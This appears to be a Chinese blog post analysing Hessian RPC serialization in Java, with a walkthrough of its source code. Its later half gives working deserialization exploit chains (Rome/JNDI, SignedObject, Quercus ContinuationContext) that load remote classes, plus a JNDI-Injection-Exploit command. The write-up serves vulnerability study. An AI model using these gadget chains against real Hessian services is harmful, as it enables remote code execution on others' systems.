Hessian类似于RMI也是一种 RPC(Remote Produce Call)的实现。基于HTTP协议,使用二进制消息进行客户端和服务器端交互。
Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。
pom.xml添加依赖,项目结构那再添加依赖到lib
com.caucho hessian 4.0.66
通过把提供服务的类注册成 Servlet 的方式来作为 Server 端进行交互。
public interface Service {String getTime();
}
import com.caucho.hessian.server.HessianServlet;
import javax.servlet.annotation.WebServlet;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;@WebServlet(name = "hessian", value = "/hessian")
public class ServiceImpl extends HessianServlet implements Service {@Overridepublic String getTime() {return "当前时间为:"+ LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));}
}
客户端:
import com.caucho.hessian.client.HessianProxyFactory;
import java.net.MalformedURLException;public class Client {public static void main(String[] args) throws MalformedURLException {String url="http://localhost:8081/hessian";HessianProxyFactory factory=new HessianProxyFactory();Service service=(Service) factory.create(Service.class, url);System.out.println(service.getTime());}
}
HessianProxy
是Client端的核心类,用来代理客户端对远程接口的调用。既然是动态代理就主要关注其invoke方法的逻辑。
在方法调用处下断点,进入com.caucho.hessian.client.HessianProxy#invoke
方法。
获取输入流,调用sendRequest函数向server发送请求,包括函数名及函数的参数得到连接对象
com.caucho.hessian.client.HessianProxy#sendRequest
函数中,在得到连接后用out.call
调用远程方法
从连接中得到返回的结果,返回的二进制值存在is中
HessianSkeleton
是Server端的核心类,从输入流中反序列化出Client端调用的方法和参数,对Server端服务进行调用并返回结果。
直接在被调用的方法处打断点开始调试,从com.caucho.hessian.server.HessianServlet
开始看。
com.caucho.hessian.server.HessianServlet#service
是相关处理的起始位置。
x-application/hessian
的响应由com.caucho.hessian.server.HessianServlet#invoke
根据 objectID 是否为空进行调用,
接着进入com.caucho.hessian.server.HessianSkeleton#invoke(java.io.InputStream, java.io.OutputStream, com.caucho.hessian.io.SerializerFactory)
方法。
Hessian源码分析–HessianSkeleton
HessianSkeleton是Hessian的服务端的核心,简单总结来说:HessianSkeleton根据客户端请求的链接,获取到需要执行的接口及实现类,对客户端发送过来的二进制数据进行反序列化,获得需要执行的函数及参数值,然后根据函数和参数值执行具体的函数,接下来对执行的结果进行序列化然后通过连接返回给客户端。
接着调用com.caucho.hessian.server.HessianSkeleton#invoke(java.lang.Object, com.caucho.hessian.io.AbstractHessianInput, com.caucho.hessian.io.AbstractHessianOutput)
方法进一步处理。
else if ("_hessian_getAttribute...
那应该是匹配xml配置servlet的写法序列化相关类的主体结构如下:
详细流程图可以参考:Hession反序列化流程
Hessian 定义了 AbstractHessianInput/AbstractHessianOutput
两个抽象类,用来提供序列化数据的读取和写入功能。
默认情况下,客户端使用 Hessian 1.0 协议格式发送序列化数据,服务端使用 Hessian 2.0 协议格式返回序列化数据。
同样,在上面过程中也可以发现,在子类com.caucho.hessian.io.Hessian2Output
的具体实现中,提供了 call
相关方法执行方法调用,writeXXX
方法进行序列化数据的写入。
为了方便下面的调试可以修改一下上面的客户端服务端,增加一个实体类,将返回类型设置为该类。
如server端写入返回结果的时候,先调用writeReply方法再调用writeObject进行对象写入
com.caucho.hessian.io.Hessian2Output#writeObject
根据指定的类型获取序列化器 Serializer
的实现类,并调用其 writeObject
方法序列化数据。
这里返回的是自定义的Time类,但对于自定义类型,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer
进行相关的序列化动作,默认情况下是 UnsafeSerializer
。
UnsafeSerializer#writeObject
会调用对应协议版本的 writeObjectBegin
方法。
主要逻辑为先获取Class的引用次数,如果Class已经引用过了则不需要重新解析,直接写入对象即可;
如果Class没有引用过则先写入类的定义,包括属性的个数和依次写入所有属性的名称。然后在写入类的名称,最后再执行writeInstance方法写入实例对象。
返回值的定义在各版本中有所不同
writeDefinition20
和 Hessian2Output#writeObjectBegin
方法写入自定义数据看到com.caucho.hessian.client.HessianProxy#invoke
客户端读取返回结果的部分
对应协议版本的readReply
会根据返回的预期类型进行读取
进入Hessian2Input#readObject(java.lang.Class)
方法。主体是switch case
语句,在读取标识位后根据不同的数据类型调用相关的处理逻辑。
比如触发漏洞中常见的HashMap或者Map,在得到其反序列化器之后调用其readMap方法。
Hessian2Input#readObject()
中也是类似逻辑,
com.caucho.hessian.io.SerializerFactory#readMap
中也是获取对应的反序列化器,然后再调用其readMap方法。
当然在这个Demo中是进入 case 'C'
加载自定义类型
readObjectDefinition
函数获取类定义,包括属性的个数和依次写入所有属性的名称。然后return处一个回调,进入另一个case语句。
com.caucho.hessian.io.Hessian2Input#readObjectInstance
会去实例化类。
instantiate
使用 unsafe 实例的 allocateInstance
直接创建类实例
com.caucho.hessian.io.HessianInput#readObject(java.lang.Class)
没有针对 Object 的读取,而是都将其作为 Map 读取。
上面提到Hessian 1序列化在写入自定义类型时会将其标记为 Map 类型,所以查看com.caucho.hessian.io.MapDeserializer#readMap
方法,会根据类型创建不同的map,然后序列化读取。
读取map键值的反序列化读取调用的是com.caucho.hessian.io.HessianInput#readObject()
方法,然后再根据类型调用不同的deserializer
最后通过map.put
设置键值对,这也是hessian反序列化漏洞成因。
Hessian序列化不关注serialVersionUID,hessian序列化时把类的描述信息写入到byte[]中。且不允许任意代理,并且不支持自定义的集合比较器。
Hessian 实际支持反序列化任意类,无需实现 Serializable 接口。
序列化
需要实现 java.io.Serializable
接口(默认)
任意类序列化(_isAllowNonSerializable=true
)
反序列化
HessianOutput output = new HessianOutput(bao);
//序列化没有实现java.io.Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);
Hessian各种反序列化链中和Map相关的触发都与put 键值对有关:
HashMap:
HashMap.readObject() -> HashMap.hash() -> XXX.hashCode()
生成链表时会调用 key 的 equals 方法进行比较
HashMap.readObject() -> HashMap.putVal() -> XXX.equals()
(jdk7u21中用到过)
TreeMap:
所以在Hessian的反序列化利用链中,起始方法只能为hashCode/equals/compareTo
方法。
marshalsec集成了Hessian
反序列化的gadget
:
hashCode触发
Gadget的原理前面写过(反序列化漏洞-Rome),核心是ToStringBean#toString()
会调用其封装类的所有无参 getter方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData()
方法触发 JNDI 注入。
触发调用是通过HashMap在 put 键值对会调用HashMap
方法校验重复key,从而调用ObjectBean.hashCode()
。
依赖换成了和marshalsec一样的rometools,JDK版本为8u111(方便打JNDI)
com.rometools rome 1.7.0
要修改下ObjectBean类属性名
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:1389/2hig5s";
jdbcRowSet.setDataSourceName(url);ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
ObjectBean extObjectBean = new ObjectBean(String.class,"test");
Map expMap = new HashMap();
expMap.put(extObjectBean, "test");
SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);deserialize(serialize(expMap));
工具类方法如下:
public static byte[] serialize(T o) throws IOException {ByteArrayOutputStream bao = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(bao);output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();
}public static T deserialize(byte[] bytes) throws IOException {ByteArrayInputStream bai = new ByteArrayInputStream(bytes);HessianInput input = new HessianInput(bai);Object o = input.readObject();return (T) o;
}public static void setFieldValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);
}
利用工具起一个JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
java.security.SignedObject
的getter方法存在二次反序列化
这里二次序列化用的是HashMap#readObject()方法去再次触发Rome链。
public class HessianRome2 {public static void main(String[] args) throws Exception {HashMap TI_Map = makeMap(Templates.class,generateTemplatesImpl());//生成私钥KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();//生成签名对象Signature signingEngine = Signature.getInstance("DSA");;SignedObject so = new SignedObject(TI_Map, privateKey, signingEngine);Map expMap = makeMap(SignedObject.class,so);deserialize(serialize(expMap));}public static HashMap makeMap(Class expectedClass, Object o) throws Exception {ToStringBean toStringBean = new ToStringBean(expectedClass, o);EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);ObjectBean extObjectBean = new ObjectBean(String.class,"test");HashMap expMap = new HashMap();expMap.put(extObjectBean, "test");SerializeUtil.setFieldValue(extObjectBean,"equalsBean",equalsBean);return expMap;}
}
这里有点疑问,为什么不直接用Rome反序列化链。尝试无果,调试可见在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
获取类加载器的时候空指针报错,原因是TemplatesImpl#_tfactory
属性为null。
正常情况是这样的
这是因为_tfactory
是一个transient修饰的属性,不会被反序列化。而在原生反序列化时,该属性是在TemplatesImpl#readObject
中重新设置进去的。
在hessian反序列化中读取属性时可以发现压根就没写入这个属性
在hessian序列化时,由 UnsafeSerializer#introspect
方法来获取对象中的字段,在老版本中应该是 getFieldMap
方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。
https://su18.org/post/hessian/#serializable
在原生流程中,标识为 transient 仅代表不希望 Java 序列化反序列化这个对象,开发人员可以在
writeObject/readObject
中使用自己的逻辑写入和恢复对象,但是 Hessian 中没有这种机制,因此标识为 transient 的字段在反序列化中一定没有值的。
equals触发
添加依赖如下:
com.caucho quercus 4.0.45
调用链
XString#equalsQName#toStringContinuationContext#composeName(java.lang.String, java.lang.String)ContinuationContext#getTargetContextNamingManager#getContextNamingManager#getObjectInstance NamingManager#getObjectFactoryFromReference
NamingManager#getObjectInstance
那就很明显了,其实就是加载远程的ObjectFactory
。前面使用HashMap在比较中调用key.equals方法,即com.sun.org.apache.xpath.internal.objects.XString#equals(java.lang.Object)
来触发。
在putVal的时候,hash一样所以进入后面的 key.equals(k)
;传进去的k就是QName对象,然后再调用其toString方法。
com.caucho.naming.QName#toString
javax.naming.spi.ContinuationContext#composeName(java.lang.String, java.lang.String)
javax.naming.spi.ContinuationContext#getTargetContext
javax.naming.spi.NamingManager#getContext
简单实现一下,弹个计算器
// 定义一个远程的class 包含一个恶意攻击的对象的工厂类String codebase = "http://127.0.0.1:8180/";// 对象的工厂类名String classFactory = "ExecTemplateJDK8";//实例化一个CannotProceedException对象,并设置远程对象CannotProceedException cpe = new CannotProceedException();cpe.setResolvedObj(new Reference("Foo", classFactory, codebase));//通过反射实例化ContinuationDirContext类Class> ccCl = Class.forName("javax.naming.spi.ContinuationContext");Constructor> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);ccCons.setAccessible(true);Context ctx = (Context) ccCons.newInstance(cpe, new Hashtable<>());QName qName = new QName(ctx, "foo", "bar");//根据qName计算hash碰撞值String unhash = unhash(qName.hashCode());XString xString = new XString(unhash);//xString在存入时hash值和前面的qName一样,就会调用key.equals进行判断 触发调用HashMap expMap = new HashMap();expMap.put(qName, "test");expMap.put(xString, "test");ByteArrayOutputStream bao = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(bao);//序列化没有实现java.io.Serializable接口的类output.getSerializerFactory().setAllowNonSerializable(true);output.writeObject(expMap);deserialize(bao.toByteArray());
hash碰撞的函数如下,搁老外这抄的https://bchetty.com/blog/hashcode-of-string-in-java:
private static String unhash(int hash) {int target = hash;StringBuilder answer = new StringBuilder();if ( target < 0 ) {// String with hash of Integer.MIN_VALUE, 0x80000000answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");if ( target == Integer.MIN_VALUE )return answer.toString();// Find target without sign bit settarget = target & Integer.MAX_VALUE;}unhash0(answer, target);return answer.toString();
}private static void unhash0 ( StringBuilder partial, int target ) {int div = target / 31;int rem = target % 31;if ( div <= Character.MAX_VALUE ) {if ( div != 0 )partial.append((char) div);partial.append((char) rem);}else {unhash0(partial, div);partial.append((char) rem);}
}
还是用的JNDI-Injection-Exploit的http服务来加载恶意.class文件
Hessian源码分析–总体架构
Hessian 反序列化知一二
hessian实现(客户端服务端在同一个项目中)
marshalsec.pdf 中文翻译 Java Unmarshaller Security (将您的数据转化为代码执行)
上一篇:【vector的模拟实现】
下一篇:Vue面试题2